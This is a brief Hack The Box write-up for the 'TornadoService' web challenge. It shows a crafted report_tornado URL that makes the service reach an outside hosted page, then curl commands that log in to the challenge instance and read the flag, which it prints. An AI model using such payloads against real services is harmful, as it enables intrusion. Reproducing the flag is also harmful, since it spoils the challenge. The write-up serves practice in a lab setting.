TornadoService

Posted on Sat 28 December 2024 in HTB challenge

This is a writeup of the TornadoService challenge which is a web challenge from Hack The Box.

Grab flag

Access http://localhost:1337/report_tornado?ip=macavity.tiiny.site/%23

curl -X POST "http://94.237.58.94:32814/login" -H "Content-Type: application/json" -d '{"username": "kittykat", "password": "kittykat"}' -c cookie.txt
curl http://94.237.58.94:32814/stats -b cookie.txt

{"success": {"type": "Success", "message": "HTB{s1mpl3_stuff_but_w1th_4_tw15t!}"}}[domyos@archlinux ~]$

web